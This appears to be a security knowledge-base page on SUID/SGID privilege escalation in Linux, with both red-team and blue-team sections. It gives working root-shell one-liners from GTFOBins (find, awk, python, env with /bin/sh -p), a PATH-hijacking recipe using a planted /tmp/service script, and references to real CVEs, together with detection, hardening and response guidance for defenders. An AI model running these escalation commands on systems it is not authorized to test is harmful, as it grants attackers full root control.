SUID/SGID Binaries
The SUID (Set User ID) bit makes a binary run with the permissions of its owner, not of whoever launches it. It’s needed for certain operations (e.g. passwd writes /etc/shadow as root), but when a root SUID binary does something the attacker can redirect toward a shell, it becomes direct escalation to root. It’s one of the most common and reliable Linux privesc vectors. SGID is the group equivalent.
Threat model
Section titled “Threat model”A root-SUID binary starts with EUID 0 (what the bit guarantees is the initial EUID at execve, not who invokes it); the binary itself can relinquish that privilege with setuid/setresuid, so it doesn’t necessarily “run as root for its whole lifetime.” If that binary allows reading/writing arbitrary files, running commands, or spawning an interpreter, the attacker diverts it to get a UID 0 shell. The attacker gains full root if the binary is a standard abusable one (cataloged in GTFOBins) or a custom binary that invokes commands insecurely.
Theory / Anatomy
Section titled “Theory / Anatomy”-rwsr-xr-x 1 root root ... /usr/bin/passwd# ^ s in place of the owner's x = SUID; uppercase 'S' if x is missingOn execution, the kernel sets the EUID (effective UID) to the file owner’s. A key detail: modern bash and sh drop SUID privileges at startup unless -p is used, which preserves them. That’s why many exploits end in /bin/sh -p or bash -p.
Precondition to exploit: a root-SUID binary (or SGID of a privileged group) whose behavior the attacker can divert.
Red Team
Section titled “Red Team”Find SUID/SGID binaries
Section titled “Find SUID/SGID binaries”find / -perm -4000 -type f 2>/dev/null # SUIDfind / -perm -2000 -type f 2>/dev/null # SGIDfind / -type f \( -perm -u=s -o -perm -g=s \) -ls 2>/dev/null # both with detailGTFOBins: the exploitation recipe
Section titled “GTFOBins: the exploitation recipe”GTFOBins catalogs how to abuse each standard binary. If a SUID is there, you have the exact command (SUID section):
find . -exec /bin/sh -p \; -quit # SUID find -> root shellbash -p # SUID bash (preserves privileges)awk 'BEGIN {system("/bin/sh")}' # SUID awkpython3 -c 'import os;os.setuid(0);os.system("/bin/sh")' # SUID pythonenv /bin/sh -p # SUID env# SUID cp: overwrite /etc/passwd with a UID 0 user of known hashThe -p flag is essential in bash/sh: without it, the shell drops the root EUID.
Custom and badly-written binaries
Section titled “Custom and badly-written binaries”Non-standard SUID binaries (a company’s own programs) are especially juicy:
strings /path/suid_bin # look for system(), execl, paths, commands# NOTE: tracing as an unprivileged user makes the kernel suppress the SUID# transition during execve, so ltrace/strace do NOT show the privileged run,# only the control flow, commands and paths it invokes.ltrace -f ./suid_bin 2>&1 # what it calls (no SUID privileges under ptrace)strace -f ./suid_bin 2>&1 | grep -E 'exec|open'If the binary calls another command without an absolute path (system("service x")), it’s vulnerable to PATH hijacking:
export PATH=/tmp:$PATHprintf '#!/bin/sh\n/bin/bash -p\n' > /tmp/service; chmod +x /tmp/service/path/suid_bin # runs your "service" as rootflowchart LR
A["Root SUID binary"] -->|"system('service')"| B["Looks up 'service' in PATH"]
B -->|"PATH=/tmp first"| C["Attacker's /tmp/service"]
C --> D["bash -p as root"]
Other custom flaws: command injection via unsanitized arguments, read/write of controllable paths, loading libraries by relative path.
Famous CVEs (real)
Section titled “Famous CVEs (real)”- PwnKit — CVE-2021-4034:
pkexec(polkit, SUID root) → root on almost any Linux via empty-argvhandling. - Looney Tunables — CVE-2023-4911: overflow parsing
GLIBC_TUNABLESin glibc’sld.sowhen running SUID binaries → local escalation.
Always cross-reference binary + version with known CVEs; if unsure, describe the class and don’t invent.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- auditd: rule on execution of unusual SUID binaries and on
execveof EUID 0 shells spawned after a SUID; watchchmod u+s/setuid(new SUID creation). - FIM (AIDE,
rpm -V,debsums): alert on new or modified SUID binaries against a baseline. - EDR:
/bin/sh -porbash -pafter a SUID binary, anomalous PATH in a privileged process.
Hardening
Section titled “Hardening”- Audit and minimize SUID/SGID:
chmod -sthe ones that don’t need it; inventory why each exists. - Mount
nosuidon/tmp,/home,/dev/shm, and external media. - Custom binaries: never SUID if they invoke other commands; absolute paths, input validation, least privilege (use specific capabilities instead of full SUID, see capabilities).
- Patching (PwnKit, Looney Tunables); AppArmor/SELinux to confine.
Response
Section titled “Response”An unexpected SUID of bash/sh or in hidden paths is usually persistence (see Persistence); compare with baseline, remove it, and review the other mechanisms.
Checklist
Section titled “Checklist”- List SUID/SGID (
find -perm -4000/-2000) - Cross-reference each with GTFOBins
- Exploit abusable standard binaries (find, bash -p, awk…)
- Analyze custom binaries (strings/ltrace) for
system()/PATH - PATH hijacking if they call commands without an absolute path
- Known CVEs (PwnKit CVE-2021-4034, Looney Tunables CVE-2023-4911)
- Verify
-pto preserve privileges - Blue: SUID minimized, nosuid, FIM, patched?